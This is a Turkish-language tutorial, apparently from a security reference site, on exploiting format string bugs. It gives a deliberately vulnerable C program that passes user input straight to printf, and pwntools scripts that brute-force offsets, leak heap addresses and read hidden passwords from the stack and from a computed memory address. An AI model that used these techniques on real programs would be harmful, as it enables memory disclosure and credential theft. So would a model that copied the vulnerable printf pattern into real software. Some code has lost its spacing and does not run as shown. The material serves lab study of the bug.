from pwn import*p =process('./fs-read')payload =f"%11$s|||||".encode()payload +=p64(0x00400000)p.sendline(payload)log.info(p.clean())
Ofset 11'dir çünkü birkaç As ayarlayarak ve bir döngü ile 0'dan 50'ye kadar ofsetleri brute-force ederek, ofset 11'de ve 5 ekstra karakterle (bizim durumumuzda borular |) tam bir adresi kontrol etmek mümkündür.
Adresin tamamı 0x4141414141414141 olduğunda %11$p'yi kullanarak dolgu ekledim.
Format dizesi yükü, adresin ÖNCESİNDE olmalıdır çünkü printf, bir null bayta kadar okuma yapmayı durdurur, bu yüzden adresi gönderir ve ardından format dizesini gönderirsek, printf asla format dizesine ulaşmayacak çünkü bir null bayt bulunacaktır.
Seçilen adres 0x00400000'dir çünkü bu, ikili dosyanın başladığı yerdir (PIE yok)
#include<stdio.h>#include<string.h>char bss_password[20] ="hardcodedPassBSS"; // Password in BSSintmain() {char stack_password[20] ="secretStackPass"; // Password in stackchar input1[20], input2[20];printf("Enter first password: ");scanf("%19s", input1);printf("Enter second password: ");scanf("%19s", input2);// Vulnerable printfprintf(input1);printf("\n");// Check both passwordsif (strcmp(input1, stack_password)==0&&strcmp(input2, bss_password)==0) {printf("Access Granted.\n");} else {printf("Access Denied.\n");}return0;}
Derleyin:
clang-ofs-readfs-read.c-Wno-format-security
Stack'ten okuma
stack_password yerel bir değişken olduğundan dolayı stack'te saklanacaktır, bu yüzden sadece printf'i kötüye kullanarak stack'in içeriğini göstermek yeterli olacaktır. Bu, yığının içerisindeki şifreleri sızdırmak için ilk 100 pozisyonu sızdırmak için bir saldırıdır:
from pwn import*for i inrange(100):print(f"Try: {i}")payload =f"%{i}$s\na".encode()p =process("./fs-read")p.sendline(payload)output = p.clean()print(output)p.close()
Resimde, şifrenin yığın içinde 10. konumdan sızdırılabileceği görülebilir:
Veri Okuma
Aynı saldırıyı çalıştırarak ancak %s yerine %p kullanarak yığından bir yığın adresi sızdırmak mümkündür ve bu %25$p konumunda gerçekleşir. Dahası, sızdırılan adresi (0xaaaab7030894) o işlemde bellekte şifrenin konumuyla karşılaştırarak adres farkını elde edebiliriz:
Şimdi yığında bir adresi kontrol etmek ve ikinci format dizesi güvenlik açığından erişmek için nasıl kontrol edileceğini bulma zamanı:
from pwn import*defleak_heap(p):p.sendlineafter(b"first password:", b"%5$p")p.recvline()response = p.recvline().strip()[2:] #Remove new line and "0x" prefixreturnint(response, 16)for i inrange(30):p =process("./fs-read")heap_leak_addr =leak_heap(p)print(f"Leaked heap: {hex(heap_leak_addr)}")password_addr = heap_leak_addr -0x126aprint(f"Try: {i}")payload =f"%{i}$p|||".encode()payload +=b"AAAAAAAA"p.sendline(payload)output = p.clean()print(output.decode("utf-8"))p.close()
Ve try 14'te kullanılan geçişle bir adresi kontrol edebileceğimizi görmek mümkündür:
Sızma
from pwn import*p =process("./fs-read")defleak_heap(p):# At offset 25 there is a heap leakp.sendlineafter(b"first password:", b"%25$p")p.recvline()response = p.recvline().strip()[2:] #Remove new line and "0x" prefixreturnint(response, 16)heap_leak_addr =leak_heap(p)print(f"Leaked heap: {hex(heap_leak_addr)}")# Offset calculated from the leaked position to the possition of the pass in memorypassword_addr = heap_leak_addr +0x1f7bcprint(f"Calculated address is: {hex(password_addr)}")# At offset 14 we can control the addres, so use %s to read the string from that addresspayload =f"%14$s|||".encode()payload +=p64(password_addr)p.sendline(payload)output = p.clean()print(output)p.close()